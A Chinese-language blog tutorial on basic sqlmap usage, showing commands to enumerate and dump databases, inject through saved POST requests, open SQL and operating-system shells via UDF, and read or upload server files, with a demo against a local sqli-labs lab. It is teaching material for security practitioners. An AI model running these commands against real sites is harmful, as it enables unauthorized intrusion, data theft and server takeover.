SQLMAP基础操作

前言

sqlmap功能很强大,是一款开源免费的漏洞检查、利用工具,它可以检测页面中get,post参数,cookie,http头等,数据榨取,文件系统的访问,实现操作命令的执行,对xss漏洞进行检测,基本上可以说是安全从业人员必备的一款神器之软件,也是迈入安全圈的必要条件,接下来介绍一些常用操作

正文

GET型注入与POST型注入

1.GET型

#1.跑出当前数据库

sqlmap -u [执行注入网址] --current-db(当前数据库) --batch(默认选择是) --threads 10 (使用10线程去注入,最高为10) --level 5 (注入程度,最高为5)--technique B(如果不设置类型则全部尝试一遍)

#2.跑出当前数据表

sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch --threads 10 --level 5 --technique B

#3.跑出数据列

sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想要注入它的数据列) --batch --threads 10 --level 5 --technique B

#4.进行数据榨取

sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level 5 --technique B

2.POST型

SQLMAP可以从一个文本文件中获取HTTP请求,根据这个文本文件我们可以不设置其他参数,譬如Cookie,POST等,对文本中的Web数据包进行分析注入
1.使用抓包工具保存为文本文件(copy to file)

image

2.sqlmap -r参数进行注入

sqlmap -r [txt文件] --current-db

image

3.其它操作同上

SQLmap 运行自定义的SQL命令

假设能够注入执行,命令如下

# GET型
sqlmap -u [url] --sql-shell
# POST型
sqlmap -r [txt] --sql-shell

以sqli-labs/Less-1为例

sqlmap -u "http://192.168.223.132/sqli-labs/Less-1/?id=1" --sql-shell   # GET型

image

尝试输入sql命令

sqlmap -r 1.txt --sql-shell  # POST型

image
)

其它同上

SQLmap 运行任意操作系统命令

要求

(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭

原理

在数据库为MySQL,PostgreSQL或Microsoft SQL SERVER,并且用户具有特定函数的时候,我们通过包含自定义的SQLmap可以自动的上传一个二进制库函数sys_exec()和sys_eval(),那么创

建的这两个函数就可以执行系统命令

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段

sqlmap -u [url] --os-shell  # GET型
sqlmap -r [txt] --os-shell  # POST型

演示

sqlmap -r 1.txt --os-shell

image

[1]是根据常用的爆破出地址,[2]是已知路径自己填

image

选[2]输入路径后即可进入os-shell

SQLmap --file-read从服务器中读取文件

当用户权限足够大并且具有特定的函数,即可读取服务器中的文件,可以是文本,也可以是二进制文件

sqlmap -u [url] --file-read "[目标文件]" -v 1

SQLmap --file-write --file-dest上传文件到服务器中

这里想要上传的文件的位置在kali的当前目录下,使用前先cd到想要的目录下

sqlmap -u [url] --file-write [想要上传的文件] --file-dest "[目标文件的位置]" -v 1    

其它命令


# 1.指定数据库类型
--dbms msyql --dbs
# 2.指定操作系统
--os windows --dbs
# 3.解决编码问题,将所有结果转换为字符串,并用空格替换NULL结果
--no-cast
# 4.关闭字符串转义机制
--no-escape
# 5.设置无效值替换
--invalid-bignum 大整数替换
--invalid-logical 布尔操作替换
--invalid-string 随机字符串替换
# 6.自定义注入负载位置
--prefix 设置前缀
--suffix 设置后缀
# 7.设置tamper脚本
--temper "xxx.py,xxx.py" -dbs
# 8.设置dbms认证
--dbms-cred="root:root" --dbs
# 9.设置具体sql注入技术
--technique B 布尔盲注
--technique E 报错注入
--technique U union查询注入
--technique S 堆叠注入
--technique T 时间盲注
--technique Q 内联查询注入
--time -sec X 时间盲注时间为X
# 10.指定union字段数
--union-cols 12-18 --dbs
# 11.指定union字符,默认是null
--union-char aaa --dbs
posted @ 2021-08-16 17:24  icui4cu  阅读(496)  评论(0编辑  收藏  举报